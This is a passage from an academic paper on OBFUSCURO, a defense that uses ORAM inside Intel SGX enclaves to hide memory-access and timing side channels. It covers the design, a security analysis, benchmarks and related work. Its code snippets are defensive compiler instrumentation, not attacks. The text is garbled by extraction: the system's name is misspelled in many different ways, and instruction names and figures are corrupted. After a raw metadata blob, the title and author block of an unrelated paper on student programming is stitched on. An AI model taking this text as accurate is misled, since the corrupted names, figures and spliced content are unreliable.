**Memory Layout Transformation.** OBFSUCURO separates the target program into two sections, i.e., code and data, and allocates a dedicated ORAM tree for each section, namely C-Tree for code and D-Tree for data. OBFSUCURO can estimate the size of the C-Tree since the program’s code size remains static. Since the size of dynamically allocated data (e.g., heap and stack) cannot be precisely estimated, OBFSUCURO sets a maximum limit on the size of the D-Tree. This is not a limitation since SGX programs themselves are initialized with a user-provided stack and heap size. Code blocks are prepared during the compilation phase, where the code is divided into blocks of the same size and filled with instrumented instructions by OBFSUCURO (more details in §V-D). During program initialization, OBFSUCURO populates both the code blocks and data blocks into the C-Tree and D-Tree respectively. The initialized data objects (i.e., global variables) are filled in their corresponding blocks whereas the blocks corresponding to uninitialized data blocks are zero-initialized.
**Virtual Address Translation.** All memory accesses in a traditional program are realized through virtual addresses, while ORAM operations deal in blocks of the ORAM tree. To reconcile this, OBFSUCURO performs on-the-fly translation of virtual addresses into ORAM block indices. OBFSUCURO linearly maps the virtual address space of a program into ORAM blocks and performs bitwise right-shift to secure translation.
**Heap Management.** Since SGX enclaves do not have support for dynamic memory allocation, the maximum heap size required for the application has to be decided at compilation time. To handle runtime requests, OBFSUCURO provides a wrapper for the malloc and free function calls, i.e., malloc_ob and free_ob, which are responsible for managing the heap memory (alongside the metadata) requested by the enclave program. In particular, malloc_ob obliviously picks a block from the D-Tree which is already provisioned with blocks to handle heap memory requests during program initialization. The
wrapper function returns the virtual address corresponding to the selected block. Later, when free_ob is called, it deallocates the heap memory region, figures out which blocks from the D-Tree are now free and simply tags them as such.
**Scratchpad.** In traditional ORAM, the program can simply access the extracted block from the stash. However, doing so within the SGX environment will leak a considerable amount of information. To deal with this problem, OBUSCURO prepares two fixed locations (determined during program initialization) of fixed size (one cache line, i.e., 64 B) to access code and data blocks, called C-Pad and D-Pad respectively. These memory regions are provisioned with SGX-specific defenses (refer to §V-D and §V-E). After OBUSCURO performs an oblivious operation and locates a target block in stash, OBUSCURO copies the target block in stash to scratchpad. Note that this copy from stash is oblivious as described in §V-B1. Therefore, by normalizing access location and size through scratchpads, OBUSCURO can successfully hide actual memory location and the attacker can not infer that information. We provide more details as to how this is accomplished in the next two sections.
**D. Code Execution Model**
OBUSCURO ensures the following three security properties in its code execution model: C1) Code execution is always performed within the C-Pad; C2) Code access instructions (i.e., branch instructions which impact the control-flow of a program, including call, return, unconditional branch, and conditional branch instructions) are only executed at a fixed location (i.e., the end of the C-Pad); C3) All code access instructions are replaced with an instruction jumping to a runtime function (i.e., code_oram_controller), which performs an ORAM operation to fetch the code block required.
The above mentioned security properties of OBUSCURO protect code execution from access-based side-channel attacks. Since the size of the C-Pad is the same as the minimum granularity of page table and cache-based attacks (i.e., 64 B), C1 prevents these attacks from gaining any meaningful information. C2 and C3 prevent a branch prediction attack, because all the control-flow changes are made from the same location (i.e., the end of C-Pad). To meet the property C1, OBUSCURO restricts all basic blocks to be at the size of C-Pad (i.e., 64 B) during the compilation phase. Specifically, OBUSCURO breaks up larger basic blocks into smaller ones equaling the size of the C-Pad. If the size of the basic block is smaller than the C-Pad, OBUSCURO inserts nop instructions to fill the space. To meet the properties C2 and C3, OBUSCURO replaces all branch instructions with a sequence of equivalent instructions invoking code_oram_controller. This invocation is always performed using jmp instruction to code_oram_controller, which is aligned at the end of the basic block.
For example, Figure 6a shows how OBUSCURO replaces an unconditional branch instruction. Given the original jmp
```asm
; Before
jmp jump_target
; After
mov R15, jump_target ; Pass jump_target through R15
jmp code_oram_controller ; code_oram_controller loads the code block to C-Pad and then jumps to the beginning of C-Pad.
```
**E. Data Access Model**
OBUSCURO ensures the following security properties in the data access model: D1) Data access is always performed within the D-Pad of size 64 B; D2) Data access instructions are only executed once per C-Pad at a fixed location (i.e., the beginning of the C-Pad); and D3) All data access instructions are replaced with an instruction jumping to a runtime function, data_oram_controller, which performs an ORAM operation to load the corresponding data block onto the D-Pad. Similar to the code execution model (§V-D), these properties prevent cache and page table attacks. This is because attackers will always observe the same data access patterns onto D-Pad.
One thing to note here is that D2 enforces each code block to perform a single jump to the data_oram_controller. This restriction is partly due to the constraint of the 64-byte code block. In particular, OBUSCURO’s data access instructions take 28-bytes and the code access instructions (mentioned in §V-D) take 20-bytes. Since a code block requires at least one code access instruction, i.e., to access the next code block, it leaves room for only a single data access. However, as a result of this, OBUSCURO ensures that there is a normalized number of data access per code block, which cannot be exploited by an attacker. OBUSCURO also prevents branch-prediction attacks by placing the data access instruction at a fixed location. If a certain code block does not require a data access, OBUSCURO performs a dummy data access in order to portray the same memory footprints for each block.
Unlike the code execution model, the data access model allows offset-based access within the D-Pad such that a memory
---
3The C-Pad is a writable and executable region but it can be secured against memory corruption by employing SFI similar to SGX-Shield [24] and/or dynamic page protection to be available in SGXv2.
---
### 4. API Implementation
The code_oram_controller (code_block_id)
```c
* - C-Pad = obtain_oram_block (code_block_id)
flag = num_executed_blocks < limit
num_executed_blocks++
CMOV(flag, C-Pad, RT_return_addr)
jmp C-Pad
```
**Fig. 7:** OBFUSCURO’s continuous execution.
Access can be directly performed at any location within D-Pad. This offset-based access is secure against memory-based side-channel attacks since the D-Pad is the size of the minimum granularity of attack resolution, i.e., 64 bytes. In order to reflect changes made by the enclave code on the D-Pad back to the ORAM tree, OBFUSCURO flushes the extracted data block after performing required memory access.
For example, Figure 6b illustrates how OBFUSCURO instruments the store instruction. Similar to the code execution model, OBFUSCURO uses the reserved R15 register to pass the virtual address (i.e., the memory operand of a store instruction) to the data_oram_controller. Then the data_oram_controller translates the virtual address into the corresponding ORAM block index, and updates D-Pad after extracting the data block using an ORAM access. Afterwards, the data_oram_controller returns the virtual address through R15, which points within D-Pad (i.e., p1 + p2, where p1 is the base address of D-Pad and p2 is the offset within the D-Pad). Therefore, the enclave program correctly performs the store instruction using R15, and the data block is later flushed back into the D-Tree.
### 5. Start-to-End Obfuscation
In the previous subsections, we explain how OBFUSCURO ensures that the target program’s code blocks perform a normalized sequence of operations, irrespective of their original logic. However, that is not enough for complete obfuscation. In particular, there is one further distinguishing factor in the program, i.e., execution time of the program. For example, running different programs or just running the same programs with different inputs can result in drastically different execution times, which can be abused by an attacker.
OBFUSCURO handles both of these cases to ensure that, irrespective of program logic, the obfuscated execution always terminates after a fixed amount of time. In order to fix the execution time, OBFUSCURO inserts dummy code blocks within a native program’s code ensuring that the program keeps executing even after completing the intended program logic. OBFUSCURO instruments the target application as shown in Figure 7. As shown in the figure, OBFUSCURO injects a dummy function called continuous_dummy into the program. The dummy function is meant to execute a while loop indefinitely, ensuring that program will not terminate of its own will. As mentioned in §V-D, each code access will go through the code_oram_controller. Therefore, OBFUSCURO can stop the program execution after a certain predefined number of code blocks, even if the dummy function never stops executing. However, to do so and provide the required output back, OBFUSCURO needs an address to jump to after reaching the limit on code blocks.
Now, we explain the workflow of the instrumented target program. The application code is defined as target_main whereas the enclave officially starts execution from the entry function (1). At the start of the entry, OBFUSCURO ensures that the return address R is passed to the runtime library by writing RT_return_addr (2). Afterwards, OBFUSCURO starts running the target_main function and writes its output to a global memory within the program (3). It is worth noting that this write will also be achieved through an ORAM access (as per all data access mentioned in §V-E) and is therefore oblivious to the attacker. Then, OBFUSCURO invokes continuous_dummy (4), ensuring that the program continues executing.
As the program executes, it will jump to the code_oram_controller on each code access. At this time, OBFUSCURO checks that the predefined limit on the number of code blocks has been reached or not. If the limit has been reached, the program jumps back to RT_return_addr instead of jumping to the C-Pad (5). At this point, we completed the execution of original program logic but have not obtained the output. To get the output, OBFUSCURO calls the data_oram_controller to extract the output from the D-Tree (6). Through the above mentioned steps, OBFUSCURO ensures that there is a start-to-end obfuscation of the target program, which always executes the same number of code blocks and thus terminates after a fixed amount of time.
### VI. IMPLEMENTATION
We have implemented a prototype of OBFUSCURO based on the LLVM Compiler project 4.0 as well as Intel SGX SDK’s enclave loader. OBFUSCURO modified following two components in LLVM: a) LLVM backend to emit 64B of code blocks as well as to instrument code and data access instruction; and b) Compiler runtime library for ORAM controllers. In the LLVM backend, especially the assembly emitter, we arranged a new code emitter to measure the size of instructions in parallel with default emitter. We also utilized built-in machine code builder to redirect the codes and data accesses to the runtime ORAM controllers. The compiler runtime library includes the implementation of data-oblivious ORAM, and interfaces for LLVM backend and applications to employ it. The oblivious stash access is implemented with vinsertl128, and vextractl128 AVX register manipulating instructions in the assembly language level. The oblivious position map access is based on the CMOV instruction, and we generalized its operation to variable lengths. We also changed the enclave loader of the Intel SGX SDK to make C-Pad using SGX’s EADD instruction. In total, OBFUSCURO introduces 3,117 LoC in LLVM backend,
Fig. 8: Data oblivious execution cycle of OBFSUCRU
2.179 LoC in compiler runtime library, and 25 LoC in Intel SGX SDK.
VII. Security Analysis
This subsection provides a security analysis of OBFSUCRU. In general, there are two ways an attacker can steal information from SGX enclaves using side-channels. Firstly, an attacker can abuse observed access-patterns to infer some information about the program and/or its input. Secondly, an attacker can perform timing-based attacks to leak some information. We provide a systematic security analysis of OBFSUCRU against both of these attack avenues.
A. Access Pattern Attacks
As OBFSUCRU is composed of multiple components to realize obfuscated program execution, we start by showing the security properties of the individual components of OBFSUCRU. Then we show how these components interact with each other and show that these interactions are completely oblivious as well. Finally, we present the results of an empirical study showing that OBFSUCRU achieves access pattern obliviousness.
Obliviousness of Individual Components. OBFSUCRU introduces newer components to legacy programs in order to achieve obfuscated execution, as shown in Figure 8. In the figure, we show the four components of OBFSUCRU (labeled as 1 ~ 4). We comment on each component individually in the following.
1. Code ORAM controller: The code ORAM controller takes the virtual address of next required code block as input, and it places the corresponding code block on the C-Pad. An attacker cannot decipher the virtual address because OBFSUCRU performs secure computation based on this address. In particular, the address is first translated to a specific ORAM block using data oblivious right-shift operation (§V-C), which returns the corresponding block number in the ORAM tree. Then, OBFSUCRU finds the corresponding leaf for this block through sequential CMV-based scanning of the position map.
For the stash, OBFSUCRU uses two variants, a CMV-based and a register-based. The CMV-based stash performs CMV-based memory access similar to how OBFSUCRU shields the position map. This includes both (a) while copying the required block from the stash to the C-Pad or D-Pad and (b) while writing back the blocks from the C-Pad or D-Pad to the stash. For the register-based stash, the AVX registers are retrofitted as stash space. Since all operations on the AVX registers are oblivious to the underlying system, we can perform a direct memory access to/from a specific register while ensuring that no information is leaked. Please refer to Figure 9 for detailed operations performed by the code controller.
2. C-Pad: OBFSUCRU ensures that the C-Pad has a fixed location (determined at the program loading) and a fixed size (i.e., 64B), and ensures that all oblivious code execution occurs from this location. Since 64B is the cache-line size (i.e., the finest visible granularity through access pattern-based side-channel attacks), the attacker learns no useful information to infer semantics during the C-Pad execution. In other words, as OBFSUCRU runs the target program, the attacker will keep observing the same memory activity over C-Pad, which is completely independent of the code block being executed.
3. Data ORAM controller: The data ORAM controller takes the virtual address of data objects as input, and places the corresponding data block to D-Pad. The data controller follows the exact same workflow of the code controller except that it operates on the D-Tree instead of the C-Tree. As previously shown for the code controller, the data controller also does not leak any sensitive information.
4. D-Pad: The D-Pad is functionally and structurally similar to the C-Pad, except that data access is performed on it and not code execution. Similar to the C-Pad, it has a fixed location and the same size, thereby showing the same memory activity for each data access.
Oblivious Interactions b/w Components. The aforementioned components perform five interactions between them (labeled as 1 ~ 4). We illustrate below how each of these interactions is secure against access pattern-based attacks.
a. Jump from Code ORAM controller to C-Pad after fetching code block: After obliviously extracting a block from the C-Tree and copying it to C-Pad, the code controller performs a single jump to the start of the C-Pad. This step only reveals that some code block of a target program will now be executed, which entails no semantics behind the code block being executed.
b. Jump from C-Pad to Data ORAM controller for fetching data block: Each code block (executing within the C-Pad) is strictly enforced to perform a single jump to the data controller, because OBFSUCRU normalizes the number of data access within each code block to be exactly one (refer §V-E). Moreover, this jump is performed at a fixed offset within C-Pad to mitigate the risk of branch prediction attacks. The target address of this jump is also fixed, i.e., the start of the data controller’s logic.
c. Return from Data ORAM controller to C-Pad: There is only a single jump from the data controller to the C-Pad at a fixed offset within the C-Pad, after fetching/updating the required data block on the D-Pad.
d. Single D-Pad access: There is only a single access to the D-Pad per code block. Since the size of the D-Pad is 64B, this access does not reveal offset information either.
e. Jump from C-Pad to Code ORAM controller: Finally, OBFSUCRU enforces that there is only one jump from C-Pad to the code controller at a fixed address located towards the end of the C-Pad. The target address of this jump is also fixed at the start of the code controller logic.
Empirical Study. Lastly, we present the results of our empirical study on obfuscated memory traces exhibited by various applications. The results are depicted in Figure 10.
We choose six target applications for the study, including anagram, pi, mattranspose, sum, fibonacci, and palindrome. These applications were chosen due to the diversity of their computational complexity.
In Figure 10, we attempt to show that there is no correlation between native and obfuscated memory traces of the same program. We measure multiple runs for each aforementioned application, and for each run we accumulate data corresponding to a timing sequence to the address accessed by the program. Using the accumulated data, we calculate the Pearson correlation value between the test applications and populate the corresponding cell in the confusion matrix. For example, consider the (anagram, anagram) cell in Figure 10-(a), the Pearson correlation value is very close to 1 because this cell is comparing the memory traces between two runs of the same program. On the other hand, the correlation value in the (anagram, pi) cell is nearly 0 because their access patterns are quite unique to each other.
Figure 10-(b) shows the confusion matrix formed while comparing obfuscated programs (using OBFSUCRUO) to their native access patterns. Since OBFSUCRUO ensures that all applications proceed in a fixed pattern of execution, the access patterns of these programs are completely different from their counterparts in native execution. Furthermore, all cells in Figure 10-(b) are almost 0 because none of obfuscated programs have any correlation with any of the native programs.
### B. Timing-based Attacks
Apart from access pattern attacks, a privileged attacker can also break program obfuscation within Intel SGX by abusing timing channels. In particular, we expect following two ways in which an attacker can abuse timing channels to leak information from OBFSUCRUO—(a) observing the time it takes for individual code blocks (in C-Pad) to execute, and (b) observing the total time it takes for an obfuscated program to execute. We individually show the infeasibility of each of these timing channels.
#### C-Pad Execution Time
Timing differences in executing each code block (i.e., C-Pad) can leak information about the execution semantic of the program. We statistically prove that this side channel is infeasible within OBFSUCRUO’s execution. The reason for this is that the execution time for the data ORAM access (which is performed exactly once per C-Pad) dominates the entire execution time of the C-Pad, and the time taken to perform the ORAM access is independent to which data block it accesses. We conducted a statistical experiment measuring CPU cycles in executing different classes of code blocks. We constructed five different code blocks, including NOP, ADD, SUB, IMUL, IDIV code blocks. Each code block initially jumps to the data controller to fetch a data block and the remaining space is filled using one of the instruction type. Furthermore, we impose data dependencies within the instructions to prevent out-of-order execution. We accumulated the execution times for each class over 10,000 repetitions, and the distribution is shown in Figure 11-(a). As illustrated, the 10%–90% percentile intervals for each type (marked as two broken lines) largely overlap, which is hardly possible for an attacker to distinguish.
#### Program Execution Time
As mentioned in §V-F, OBFSUCRUO ensures that a program continues executing until its number of executed code blocks reaches a fixed user-configured limit. In particular, OBFSUCRUO allows the user to define the total number of C-Pad executions a program should perform. If the program’s logic terminates before that number is
reached, BFUSCURO continues executing dummy code blocks to complete the number of C-Pad executions.
In order to prove that this results in a uniform execution time irrespective of the target program being executed, we performed an experiment on a diverse set of applications as shown in Figure 11-(b). In the experiment, we fixed the total number of C-Pad executions for each of these applications to 30,000 and measured the total execution time. We accumulate 100 executions for each program, and plot the distributions of them. As shown in the figure, the ranges of total execution times for the chosen evaluation set largely overlaps, despite computational diversity of these applications. The reason for this is that each C-Pad execution, as illustrated before, is bounded at very similar execution times irrespective of the underlying CPU instructions. Therefore, it is expected that the program execution time (with same number of C-Pad executions) will also be very similar.
VIII. PERFORMANCE EVALUATION
In this section, we report a detailed performance benchmark through both micro-benchmarking custom applications and macro-benchmarking by running OpenSSL [19].
Experimental Setup. All our evaluations were performed on Intel(R) Core(TM) i7-6700K CPU @ 3.40GHz (Skylake with 8 MB cache, 8 cache-slices and 16-way set-associativity) with 64 GB RAM (128 MB for EPC). Our system ran Ubuntu 16.04 with Linux 4.4.0.59 64-bit. We performed our experiments using Intel SGX SDK [39] and the Intel SGX drivers [40]. Due to the current unavailability of AVX-512 for SGX-enabled computers, most of our experiments (having large code and data sizes) used CMOV-based stash. However, we experimented with AVX2 registers to find the expected benefit of using the register-based stash and have accordingly simulated the performance improvement achieved by register-based stash on our target applications.
1) Micro-Evaluation: Firstly, we start by providing a detailed performance evaluation result by running several programs with BFUSCURO. Next, we show the performance improvement achieved by the novel register-based stash designed by BFUSCURO.
Benchmarks. We ported simple benchmarking applications on BFUSCURO in order to show the feasibility of obfuscated execution using commodity hardware such as Intel SGX. In particular, we ported a diverse set of applications from simple applications like finding the maximum within a given array to complex binary searching.
Figure 12-(a) shows the performance shown by BFUSCURO while running the test set of applications described above. We also simulate the performance of BFUSCURO-AVX (the version of BFUSCURO which uses register-based stash). These simulated results are based on the experiments we performed on AVX2. In general, the performance overhead of BFUSCURO-CMOV is on average 83× and BFUSCURO-AVX is 51×. The performance overhead of BFUSCURO is expected since it has to cater to the plethora of side-channels plaguing Intel SGX. In no particular order, the overhead is attributed to: (a) code access control especially dealing with branch-alignement, (b) data access normalization and (c) side-channel-resistant ORAM-based access inside Intel SGX.
Comparison: CMOV-based vs Register-based Stash. We provide a comparison of the CMOV-based stash versus the register-based stash. We attempt to answer the question — what is the performance benefit attained by using register-based stash over the CMOV-based stash? One caveat is that all our experiments are based on the AVX2 registers but we expect the performance benefits to be similar while using the AVX-512 registers. Figure 13 attempts to illustrate the performance benefit achieved by AVX extensions over CMOV while accessing data of variable size through ORAM. Compared to the CMOV-based stash, since the register-based stash performs just a single oblivious access onto the AVX registers, it outperforms the CMOV-based stash. The average improvement is around 30%-40%.
2) Macro-Evaluation: In order to show how real-world applications perform with BFUSCURO, we provide a case-study with OpenSSL [19]. Figure 12-(b) shows the result of our evaluations using OpenSSL with BFUSCURO and without BFUSCURO. In this experiment, we perform a variable number of consecutive encryptions and compare the results. As the number of encryptions increase, the difference between the performance of BFUSCURO and native also increases. The reason for this is that BFUSCURO has to perform a fixed number of ORAM operations which adds significant overhead per-encryption whereas the per-encryption overhead of native execution is very small.
IX. DISCUSSION
Timing Channels. Based on our statistical analysis, BFUSCURO provides accurate execution-time-normalization (see §VII-B). But, it is hard to conclusively prove that BFUSCURO would leak no timing information regardless of the underlying application. However, even if that is the
<table>
<thead>
<tr>
<th>Data Size (Bytes)</th>
<th>CMOV (cycles)</th>
<th>AVX (cycles)</th>
<th>Improvement</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,024</td>
<td>272M</td>
<td>206M</td>
<td>32%</td>
</tr>
<tr>
<td>2,048</td>
<td>521M</td>
<td>388M</td>
<td>34%</td>
</tr>
<tr>
<td>4,096</td>
<td>1,044M</td>
<td>741M</td>
<td>41%</td>
</tr>
<tr>
<td>8,192</td>
<td>2,050M</td>
<td>1,481M</td>
<td>38%</td>
</tr>
</tbody>
</table>
Fig. 13: Performance improvement achieved by using the AVX2 register extensions as the ORAM stash compared to CMOV-based stash.
case, we believe that OBFSURO can still be used to defeat all timing channels. For example, OBFSURO could profile the execution time of each code block of the target program and, if a discrepancy is encountered, carefully modify the code blocks such that they would have identical execution times. This would, in turn, also provide accurate execution-time-normalization. We believe that, if required, this profiling and subsequent modification would not require help from the program developer either. We leave a thorough exploration of timing channels that could affect OBFSURO as part of future work.
AVX-512. As shown in §VIII, the register-based stash can provide a performance improvement over CMov-based stash. But, our experiments were performed on AVX2 instructions due to the current unavailability of AVX-512 for SGX-enabled processors. Intel states that AVX-512 register instructions result in frequency reduction [41] which could potentially slow down the entire application. However, there are two reasons why this might not be an issue — (a) Linux-based systems (in particular) allow control of frequency scaling [42] and (b) users have found out that only heavy (e.g., floating point) instructions cause frequency scaling [43]. Especially for the latter, it has been reported that load/store instructions on AVX-512 registers (which OBFSURO is concerned with only) provide similar performance as AVX2 registers.
Comparison with Cryptographic Schemes. On par with what OBFSURO provides, we discuss following two security properties: 1) computational confidentiality and 2) integrity. Towards these security properties, we focus our discussion on theoretical program obfuscation techniques, which construct a virtual black box (VBB). We note that, unlike OBFSURO which performs hardware-assisted secure remote computation, theoretical program obfuscation techniques [44–46] do not rely on specific architectural characteristics and thus are designed to be resistant to memory-based side-channel attacks.
More specifically, two well-known cryptographic primitives, fully-homomorphic encryption (FHE) and garbled circuits are generally used for the program obfuscation, but both of them are limited in terms of either performance and generality. In the case of FHE [47], its performance overhead is in twelve orders of magnitude scale in string search [48] without ensuring integrity. On the other hand, garbled circuits [49] incur a performance overhead of around four orders of magnitude. Moreover, they cannot be used for generic programs (i.e., a loop structure in a program cannot be supported), and the integrity cannot be guaranteed similar to FHE. To ensure integrity, verifiable computing techniques can be adopted but verifiable computing itself imposes huge overheads (i.e., about $10^4$ times [50]).
Compared to theoretical solutions, OBFSURO efficiently achieves confidentiality and integrity, leveraging memory protection and remote attestation mechanisms of SGX. From the performance perspective, OBFSURO is a more practical solution since it imposes two orders of magnitude performance overhead, as opposed to twelve and four orders in the case of FHE and circuit representation, respectively. OBFSURO also supports generic programs since it retains the form of the host-architecture instruction.
**Protecting Input/Output.** Traditional program obfuscation assumes that the attacker has an oracle-like access to the obfuscated program. Therefore, the attacker can provide input and get the corresponding correct output. However, OBFSURO can be further leveraged to guarantee that an attacker does not figure out the input/output either. For the input, since it is not controlled by OBFSURO, we assume that the user of the enclave will provide us a fixed-length encrypted memory buffer to extract the input from. OBFSURO will execute for a fixed time $T$ based on the input and extract a fixed-size output from the D-Tree at the end of $T$. Then, OBFSURO will encrypt this data and send it back to the user.
**Potential Applications.** There are various potential applications for OBFSURO ranging from protection of an intellectual property to securely patching vulnerabilities. Firstly, OBFSURO can ensure that machine learning services requiring huge computing resources can safely outsource their computational load to cloud servers. For example, companies like 23andMe [3] want to outsource genomic analysis but also want to stay ahead of the competition by preventing the theft of their algorithm. Secondly, developers can securely patch vulnerabilities without disclosing the vulnerabilities through the patches, rendering their exploitation highly unlikely.
**Generic Side-channel Defense.** OBFSURO can be utilized as a general-purpose side-channel defense, whose main objective is to protect the input of a known program from attackers. The attackers usually exploit unique memory access patterns leaked from side channels consisted of caches, page fault, and branch predictor [10, 12–15]. Since OBFSURO is specifically designed to protect all these channels, OBFSURO can protect the target program. Furthermore, we could utilize OBFSURO to constrain its protection scope to a small, sensitive portion of the code, which would result in performance gains as well.
**Other Use-cases.** Our current design for an oblivious execution framework is SGX-specific. However, we believe its design characteristics and optimization techniques are general, which can be applied to other trusted platforms such as AEGIS [51], Ascend [52], XOM [53], Bastion [54], Sanctum [55]. For example, our register-based stash (§V-B1) can be considered as a generic optimization for ORAM, if the underlying trust architecture shares any of memory-related subsystem such as cache, TLB, MMU, and DRAM.
**X. RELATED WORK**
**SGX-based Systems.** Haven [56], Graphene [57, 58] and Panoply [59] provide LibOS for SGX, which enable easier application porting and prevent lago attacks [60]. OpenSGX [61] provides an open research framework for running SGX applications. VC3 [62] provides oblivious data analytical algorithms such as MapReduce [63]. SGX-Shield [24] performs fine-grained ASLR within SGX environments. Some of OBFSURO’S design schemes, particularly how OBFSURO breaks a program into smaller ORAM-compatible blocks, have been inspired by SGX-shield. Ryoan [64] provides a secure framework to port Native Client (NaCl) [65] in Intel SGX. SCONE [66] provides performance optimizations and ports containers within SGX. Eleos [67] provides a framework to use non-enclave space to improve enclave performance. Glamdring [68] provides automatic partitioning within enclave programs. Other works [69–71] consider how to efficiently deliver cryptographic primitives such as multi-party computation and functional encryption.
using Intel SGX. These systems do not consider side-channel issues within SGX and can be used together with OBFSUCRU.
**Attacks on SGX.** SGX is vulnerable to both page fault [10] and page table [11] attacks. Recent works [12–14] have shown that cache-based attacks are possible with an SGX enclave. SGX has also been found to be vulnerable against the branch-prediction attack [15, 72]. Wang et. al [73] provide an overview of the attack vectors against SGX and the limitations of current defense solutions.
**SGX-compatible Defenses.** There have been various defenses [74, 75] proposed against the page table attacks. T-SGX [74] uses Transactional Memory (TSX) to run a program. However, T-SGX is vulnerable to the improved controlled channel attack [11]. Cloak [76] also utilizes TSX as a defense primitive, but it only considers cache side channel attacks. Another work [75], provides a way to prevent page faults from the OS-level attacker by periodically modifying the program’s memory access patterns. Ohrimenko et al. [77] show how to re-adapt ML-algorithms to exhibit data-oblivious memory access patterns. For cache-based attacks, the previous solutions [78–80], for non-SGX environments, are not directly applicable since most of them require OS support. Compared to these defenses, OBFSUCRU proposes a generic security framework against all memory-based side-channel attacks. Obliviate [16] and ZeroTrace [17] provide access to files and data structures respectively using secure ORAM implementations. Compared to OBFSUCRU, their scope of protection is limited, i.e., files and data arrays respectively.
**Hardware and Software-based Oblivious Systems.** Previous work has alluded to the concept of creating oblivious systems based on custom hardware [8, 29, 31], software-level defenses [18, 32] or hybrid [30]. All aforementioned systems use variants of ORAM [9] to achieve oblivious execution. Out of all these works, HOP [8] and Phantom [29] are the most similar. However, both Phantom and HOP use RISC-V processors to implement secure ORAM controllers while OBFSUCRU runs on commodity trusted hardware.
**XI. Conclusion**
This paper presents OBFSUCRU, the first system which provides program obfuscation using commodity trusted hardware. OBFSUCRU systematically protects the SGX enclave against information leakage through all side-channels, thereby neutralizing all memory and timing footprints to create a virtual black box for obfuscated program execution. Our evaluation shows that OBFSUCRU can provide strong obfuscation guarantees within Intel SGX while performing much faster than existing cryptographic schemes and being more deployment-friendly than existing system-based solutions.
**Acknowledgment**
The authors would like to thank the anonymous reviewers for their insightful comments on this work. This work is partly supported by the National Research Foundation of Korea (NRF) grant funded by the Korea government (MSIT) (No. NRF-2018R1C1B5086364), by National Science Foundation (NSF) under grant No. 1750809, and Samsung Research Funding & Incubation Center (SRFC-IT1701-05).
Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of our sponsors.
**References**
|
{"Source-Url": "http://web.ics.purdue.edu/~ahmad37/papers/obfuscuro.pdf", "len_cl100k_base": 16333, "olmocr-version": "0.1.50", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 54322, "total-output-tokens": 18300, "length": "2e13", "weborganizer": {"__label__adult": 0.0006399154663085938, "__label__art_design": 0.0005602836608886719, "__label__crime_law": 0.0017709732055664062, "__label__education_jobs": 0.0004532337188720703, "__label__entertainment": 0.00010651350021362303, "__label__fashion_beauty": 0.00025916099548339844, "__label__finance_business": 0.0003705024719238281, "__label__food_dining": 0.0004115104675292969, "__label__games": 0.0019435882568359375, "__label__hardware": 0.01363372802734375, "__label__health": 0.0005340576171875, "__label__history": 0.0003650188446044922, "__label__home_hobbies": 0.00019729137420654297, "__label__industrial": 0.00124359130859375, "__label__literature": 0.0002651214599609375, "__label__politics": 0.0004565715789794922, "__label__religion": 0.0005583763122558594, "__label__science_tech": 0.1541748046875, "__label__social_life": 7.510185241699219e-05, "__label__software": 0.015869140625, "__label__software_dev": 0.8046875, "__label__sports_fitness": 0.000370025634765625, "__label__transportation": 0.0008959770202636719, "__label__travel": 0.00019979476928710935}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 79578, 0.01261]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 79578, 0.39089]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 79578, 0.90277]], "google_gemma-3-12b-it_contains_pii": [[0, 5214, false], [5214, 11743, null], [11743, 18238, null], [18238, 24874, null], [24874, 29167, null], [29167, 33474, null], [33474, 40247, null], [40247, 45372, null], [45372, 51068, null], [51068, 56920, null], [56920, 60529, null], [60529, 65987, null], [65987, 72833, null], [72833, 79578, null], [79578, 79578, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5214, true], [5214, 11743, null], [11743, 18238, null], [18238, 24874, null], [24874, 29167, null], [29167, 33474, null], [33474, 40247, null], [40247, 45372, null], [45372, 51068, null], [51068, 56920, null], [56920, 60529, null], [60529, 65987, null], [65987, 72833, null], [72833, 79578, null], [79578, 79578, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 79578, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 79578, null]], "pdf_page_numbers": [[0, 5214, 1], [5214, 11743, 2], [11743, 18238, 3], [18238, 24874, 4], [24874, 29167, 5], [29167, 33474, 6], [33474, 40247, 7], [40247, 45372, 8], [45372, 51068, 9], [51068, 56920, 10], [56920, 60529, 11], [60529, 65987, 12], [65987, 72833, 13], [72833, 79578, 14], [79578, 79578, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 79578, 0.02791]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
0f5e1109d97f8f3c05c9a834a663ddeb75e7f2f6
|
Knowing *When* and *Where*: Temporal-ASTNN for Student Learning Progression in Novice Programming Tasks
Ye Mao
North Carolina State Univ.
Raleigh, NC, USA
ymao4@ncsu.edu
Yang Shi
North Carolina State Univ.
Raleigh, NC, USA
yshi26@ncsu.edu
Samiha Marwan
North Carolina State Univ.
Raleigh, NC, USA
amarwan@ncsu.edu
Thomas W. Price
North Carolina State Univ.
Raleigh, NC, USA
twprice@ncsu.edu
Tiffany Barnes
North Carolina State Univ.
Raleigh, NC, USA
tmbarnes@ncsu.edu
Min Chi
North Carolina State Univ.
Raleigh, NC, USA
mchi@ncsu.edu
ABSTRACT
